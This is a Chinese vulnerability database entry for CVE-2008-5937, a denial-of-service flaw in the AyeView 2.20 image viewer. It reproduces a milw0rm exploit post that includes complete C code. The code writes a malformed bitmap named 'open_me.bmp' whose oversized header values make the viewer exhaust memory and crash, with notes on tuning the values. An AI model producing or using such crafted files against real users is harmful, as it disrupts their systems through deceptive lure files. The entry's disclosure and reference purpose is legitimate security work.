zkesoft ayeview 输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116344 漏洞类型 输入验证
发布时间 2008-10-05 更新时间 2009-01-29
CVE编号 CVE-2008-5937 CNNVD-ID CNNVD-200901-277
漏洞平台 Windows CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/6672
https://cxsecurity.com/issue/WLB-2009010189
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-277
|漏洞详情
AyeView2.20版本允许用户协助式攻击者借助一个带有大的长度值和宽度值的bitmap(又称.bmp)文件,引起拒绝服务攻击(内存损耗或应用程序崩溃)。
|漏洞EXP
Name      : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, str0ke, all from #dark-coders and others;]

Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit      ->  the system really slowed down
Second start(another values)->  I got a message that "the amount of virtual memory
                                is too low", explorer.exe crashed
Third start(another values) ->  AyeView crashed

PoC:
------------------------------exploit---------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

struct bmpfile_header{
    short bfType;
    int bfSize;
    int Res;
    int bfOffBits;
    int biSize;
    int biWidth;
    int biHeight;
    short biPlanes;
    short biBitCount;
    int biCompression;
    int biSizeImage;
    int biXPelsPerMeter;
    int biYPelsPerMeter;
    int biClrUsed;
    char biClrImportant;
    char biClrRotation;
    short biReserved;
}__attribute__((packed)); //shift to 54 bytes


#define WIDTH 3000       //play around with these values...
#define HEIGHT 60000
#define Y 44432
#define X 54444

int main(int argc, char *argv[])
{
	struct bmpfile_header *bmpheader;
	char *memory;
	FILE *f;
	
	memory=(char *)malloc(60);
	if(memory==NULL){
		perror("malloc");
		return -1;
	}
	memset(memory, 0, 60);
	bmpheader=(struct bmpfile_header *)memory;
	printf("[+]Building bitmap... :)\n");
	bmpheader->bfType=*(short *)"BM";
	bmpheader->bfSize=(int)60;
	bmpheader->Res=0;
	bmpheader->bfOffBits=54;
	bmpheader->biSize=40;
	bmpheader->biHeight=(int)HEIGHT;
	bmpheader->biWidth=(int)WIDTH;
	bmpheader->biPlanes=1;
	bmpheader->biBitCount=24;
	bmpheader->biCompression=0;
	bmpheader->biSizeImage=6;
	bmpheader->biXPelsPerMeter=(int)X;
	bmpheader->biYPelsPerMeter=(int)Y;
	bmpheader->biClrUsed=255*255*255;
	bmpheader->biClrImportant=0;
	bmpheader->biClrRotation=0;
	
	f=fopen("open_me.bmp", "wb");
    	if(!f){
           perror("fopen");
           free(memory);
           exit(-1);
    	}
    	fwrite(memory, 1, 60, f);
    	fclose(f); 
	printf("[+]open_me.bmp bitmap created :)\n");
	free(memory);
	return 0;
}
------------------------------exploit---------------------------

Stay secure...

# milw0rm.com [2008-10-05]
|参考资料

来源:XF
名称:ayeview-bitmap-dos(48183)
链接:http://xforce.iss.net/xforce/xfdb/48183
来源:MILW0RM
名称:6672
链接:http://www.milw0rm.com/exploits/6672
来源:SREASON
名称:4939
链接:http://securityreason.com/securityalert/4939